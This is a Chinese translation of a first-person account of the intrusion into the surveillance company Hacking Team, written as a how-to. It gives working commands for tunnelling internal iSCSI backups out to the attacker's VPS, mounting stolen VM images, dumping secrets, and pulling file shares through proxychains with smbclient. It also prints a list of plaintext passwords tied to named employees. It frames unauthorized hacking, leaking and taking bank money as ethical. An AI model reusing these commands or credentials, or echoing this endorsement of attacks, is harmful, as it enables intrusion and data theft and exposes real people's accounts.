|
【老文】渗透Hacking Team过程时间:2020-12-01
0x00 Hacking TeamHacking Team 是一个协助政府hack和监视记者、政治家等的公司(详见段尾链接),当然有时候也会监控恐怖分子和罪犯。其CEO——Vincenzetti——很喜欢在他的邮件末尾加上一句纳粹标语“boia chi molla” (放弃者该死),同时,他一直宣称拥有可以解决“Tor 问题”和“暗网问题”的技术。但是我一直很怀疑他的那种技术的有效性。 0x01 小心点很不幸,我们的世界是颠倒的,你越做坏事越富有,越做好事反而被抓。但幸运的是,多亏了人们的努力,比如"Tor项目",你可以通过以下指导来防止被人抓住把柄: 1) 加密的你的硬盘
2) 使用虚拟机并且把所有的网络都走Tor
3) 不要直接连接Tor网络 (可选项)
0x02 搜集信息尽管这个过程非常无聊,但却是非常重要,目标越大越多,漏洞出现的几率就越大。 1 技术方面的信息主要使用以下各种方面的信息 1)Google
2)二级域名搜集
3)Whois查询和反向查询
4)端口扫描和指纹提取
对于扫描来说,Nmap是再合适不过了,它也可以识别各种服务的指纹。但是对于大规模网络来说,zmap和masscan更快速。WhatWeb和BlindElephant 适合抓取web指纹。 2 社工信息对于社会工程学来说,搜集员工信息非常重要,包括他们的各自的角色,合约,使用的操作系统,浏览器,插件,软件等。一般使用如下途径: 1)Google
2)theHarvester y recon-ng
3)LinkedIn
4)Data.com
5)File metadata
0x03 打入内网进入内网的方式有很多种。我打入HT内网的方式是不常见的,而且比平时花的精力要多得多,所以我在这里提一下进入内网的两种常见的方式,这两种也是我推荐的。 1 社工社会工程学,尤其是鱼叉式网络钓鱼,是各种渗透技巧中比较可靠的一种。更多技巧请移步段尾链接。我不想尝试对HT进行钓鱼攻击,因为这种攻击方式对他们来说太常见了,所以他们会非常警惕。既增加了难度,又容易被发现我的意图。 http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/ http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf 2 购买权限多亏了勤劳的俄罗斯人和他们的渗透工具 “traffic sellers”和“bot herders”,许多公司都已经有了被入侵的电脑。几乎所有世界五百强的大型网络中都存在一些被入侵的机器。但是Hacking Team是个小公司,他们的大多数员工都是信息安全专家,所以他们内部存在被入侵机器的可能性非常小。 ### 3 技术入侵Gamma公司被黑以后,我就已经描述了一个寻找漏洞的过程: http://pastebin.com/raw.php?i=cRYvK4jb Hacking Team有一个段的公网IP: inetnum: 93.62.139.32 - 93.62.139.47 descr: HT public subnet 他们的网络有少量暴露在外网,比如不像Gamma公司,他们的公网地址都需要证书才能连接。HT的公网服务器主要有一个Joomla的博客(joomscan没有扫出来有用的东西),一个邮件服务器,几个路由,两个VPN,一个垃圾邮箱过滤系统。所以我现在只能通过以下方式获取权限:发现一个Joomla的0day,或者postfix的0day,或者他们其他一个系统的0day。嵌入式系统的0day对于我来说比较靠谱点,于是我花了两周的时间,通过逆向发现了一个命令执行0day。这个0day至今仍然没有修复,所以我也不方便给出更多细节。 0x04 事前准备在正式攻击之前,我做了很多测试和准备,在硬件里面写入了一个后门,并且在嵌入式系统上编译了各种各样的工具: 1) busybox
2)nmap
3)Responder.py
4)python
5)tcpdump
6)dsniff
7)socat
8)screen
9)socks5代理主机
10)tgcd
最坑的事儿就是你把后门和工具部署上去之后,系统挂了,然后运维上去一看,全完了。所以我花了一周的时间在最后的部署之前测试我的各种后门和exp。 0x05 到处看看现在我已经进入内网了,我想看到处看一下,并决定我下一步的工作。把Responder.py切换到分析模式 0x06 非关系型数据库NoSQL,这种无需认证的数据库对我来说简直就是天赐良机。当我还在担心无法通过MySQL继续下去的时候,这些缺乏认证的数据库出现了。Nmap发现了HT内网的一些数据库: 27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 47547 | totalSize = 49856643072 ... |_ version = 2.6.5 27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 31987 | totalSize = 33540800512 | databases ... |_ version = 2.6.5 这些是做RCS测试的实例。RCS抓到的音频都存储在MongoDB里面。400G种子里面的音频就是来自这里,他们也在监视着自己。 0x07 跨网段比较有趣的是,看着监视器中正在开发恶意软件的HT,尽管这对我的渗透来说并没有什么用。他们不安全的备份系统是下一个敞开的大门。根据他们自己的文档,他们的iSCSI系统应该在一个分离的网段,但是却在192.168.1.200/24网段被nmap扫描出来了: ... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:ht-synology.name | Address: 192.168.200.66:3260,0 |_ Authentication: No authentication required Nmap scan report for synology-backup.hackingteam.local (192.168.200.72) ... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:synology-backup.name | Address: 10.0.1.72:3260,0 | Address: 192.168.200.72:3260,0 |_ Authentication: No authentication required iSCS需要一个核心模块,这个核心模块在我的嵌入式系统中很难编译。所以我准备把端口转发出来以便于能够在VPS上挂载。 VPS: tgcd -L -p 3260 -q 42838 Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1 iSCSI发现了 解决办法是: iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1 然后: iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login 至此,文件系统现身了!挂载上去: vmfs-fuse -o ro /dev/sdb1 /mnt/tmp 然后就可以发现若干个虚拟机的安全备份了,邮件服务器看起来很有吸引力。尽管他太大了,还是可以远程挂载上来,搜索我们想要的东西: $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk $ fdisk -l /dev/loop0 /dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT entonces el offset es 2048 * 512 = 1048576 $ losetup -o 1048576 /dev/loop1 /dev/loop0 $ mount -o ro /dev/loop1 /mnt/exchange/ 现在,在 vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/ mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1 最后,我们就可以在 0x08 从安全备份到域管理员.其实我最感兴趣的还是想在安全备份文件里面找到一些常用的密码或者hash以便于进入物理机。我使用pwdump, cachedump 和lsadump去寻找可能的密码,最后lsdadump发现了一个bes管理服务器的账户的密码: _SC_BlackBerry MDS Connection Service 0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8. 0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!........... 我通过proxychains加上嵌入式机器上的socks代理,和smb客户端去尝试这个密码: proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!' 成功了!密码仍然有效,而且是本地管理员。我用代理和 HACKINGTEAM BESAdmin bes32678!!! HACKINGTEAM Administrator uu8dd8ndd12! HACKINGTEAM c.pozzi P4ssword <---- look! the sysadmin! HACKINGTEAM m.romeo ioLK/(90 HACKINGTEAM l.guerra 4luc@=.= HACKINGTEAM d.martinez W4tudul3sp HACKINGTEAM g.russo GCBr0s0705! HACKINGTEAM a.scarafile Cd4432996111 HACKINGTEAM r.viscardi Ht2015! HACKINGTEAM a.mino A!e$$andra HACKINGTEAM m.bettini Ettore&Bella0314 HACKINGTEAM m.luppi Blackou7 HACKINGTEAM s.gallucci 1S9i8m4o! HACKINGTEAM d.milan set!dob66 HACKINGTEAM w.furlan Blu3.B3rry! HACKINGTEAM d.romualdi Rd13136f@### HACKINGTEAM l.invernizzi L0r3nz0123! HACKINGTEAM e.ciceri 2O2571&2E HACKINGTEAM e.rabe erab@4HT! 0x09 下载邮件现在我有了域管理员密码,就可以进入到业务核心——邮件中了。之后做的每一步操作都有可能随身被发现,以防万一,先下载邮件,这里powershell起了很大的作用。我发现了处理日期的一个bug。在得到邮件后,我又花了两周时间去获得源码和其他东西,之后又把新的邮件下载了下来。服务器是意大利的,时间的格式是:日/月/年,我用: -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')} 这个语法去搜索邮件服务器并且下载新的邮件,问题是获得了”日期错误:day不能大于12“的结果,因为欧洲时间中月份通常在第一位,月份不能大于12,。看来微软的工程师们只在他们自己的时区测试了他们的软件。 0x0a 下载档案现在我已经是域管理了,我开始通过smb客户端和代理去下载各种资源: proxychains smbclient '//192.168.1.230/FAE DiskStation' \ -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*' 至此,所有的东西都被下载下来了。 0x0b windows域渗透简介在与HT的故事结束之前,我想对windows内网渗透做一些简介。 1 横向移动(这种名词国内好像还没有对应的术语)在这里,我跟大家对各种内网渗透的技术做一些回顾。远程执行的方式是需要密码或者本地管理员的hash的。目前为止,最常见的方法是在机器上以管理员权限用mimikatz本地抓取管理员密码。而比较好的提升权限工具主要是PowerUp和bypassuac。 远程移动: 1)psexec
2)WMI
3)PSRemoting
4)GPO
本地移动: 1) 盗取token
2)MS14-068
3)进程注入
4)runas
2 维持权限一旦你拥有了权限,首先想到的就是保持权限。权限保持一般只是对于HT这样目标是个人和政治活动者的混蛋来说是个挑战(看来作者跟HT有仇)。对于渗透一个公司来说,权限保持一般不重要,因为公司一般不会关掉机器。你可以从下面的链接获取更多关于权限维持的技巧。对于渗透一个公司来说,这是不必要的,反而会增加被发现的几率。 http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/ http://www.hexacorn.com/blog/category/autostart-persistence/ https://blog.netspi.com/tag/persistence/ 3 内部侦查之前最好的探测windows网络的工具是powerview。这款工具很值得你去阅读以下链接: http://www.harmj0y.net/blog/tag/powerview/ http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/ http://www.harmj0y.net/blog/redteaming/powerview-2-0/ http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/ http://www.slideshare.net/harmj0y/i-have-the-powerview 当然,powershell也是很有效的工具,不过在2003和2000的机子上可没有powershell。你也可以像以前那样,用用"net view"这种命令,其他我喜欢的技巧主要有: 1)下载文件列表 通过一个域管理账户你可以用powerview下载网络中的所有文件的列表: Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ | select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] | select fullname | out-file -append files.txt} 然后你就可以随心所欲选择你想要的文件来下载。 2)阅读邮件
3)查看门户站点
5)监视员工
0x0c 寻猎系统管理员通过对他们内部的文档的阅读,我发现我缺少一个很重要的权限——“Rete Sviluppo”——一个存放RCS源码的孤立网络。系统管理员总是有所有的权限,所以我就搜索Mauro Romeo 和Christian Pozzi的电脑,看他们怎么管理Sviluppo网络,顺便看看有没有其他我感兴趣的系统。他们的电脑也是域成员,所以搞到他们的电脑权限很简单。Mauro Romeo的电脑没有开放任何端口,所以我打开了WMI的端口并执行了meterpreter。为了监控他们的键盘和屏幕,我使用很多metersploit的/gathre/模块。然后到处搜索感兴趣的文件。我发现Pozzi有个加密卷,便等他把它挂载上来的时候,复制了所有的文件。他们的密码对我来说,都是没有任何用处的,我感到很可笑。因为mimikatz和键盘记录器泄露了一切。 0x0d 桥梁Pozzi的加密卷中,有很多文本格式的密码。其中一些就是Nagios服务器的密码,为了方便监视,这个服务器有权限访问那个Sviluppo网络。我也就找到了一座进入孤立网络的桥梁。尽管我有那个服务器的密码,但是他还有个公开的命令执行。 0x0e 再次利用并重置密码阅读邮件后,我看到了Daniele Milan有git机器的权限。我已经有了他的windows密码(mimikatz),我在git机器上尝试了一下,成功了!而且可以sudo。为了拿到gitlab服务器和他们的推特账号,我利用了邮件服务器和“忘记密码”功能重置了密码。 0x0f 总结以上就是我对抗一个公司并且终止了他们侵犯人权的行为的过程。 这也是Hacking的魅力与不对称:一个人花100个小时,便可以对抗并逆转一个有着好几年历史价值数百万美元公司的命运。Hacking能够给予失败者战斗并赢回的机会。 Hacking参考通常意味着放弃:这只是一个小小的教训,做一个有道德的黑客,不要未经允许攻击他人的系统等等。我经常这样说,但是做起来却经常与之背道而驰。泄露文件,没收银行的钱财,努力让普通人的电脑变得更加安全,这才是有道德的黑客。但是,很多人称自己为“良心黑客”,其实他们只是为给他们更多钱的人工作,而那些人更应该被hack。 HT视他们自己为意大利创新的一部分,但是在我看来,Vincenzetti和他的公司,他在警察中的密友,政府都是意大利法西斯主义的传统。谨以此文献给在迪亚兹阿曼多学校的突袭中的受害者们,和所有因意大利法西斯主义而受到过伤害的人们。 |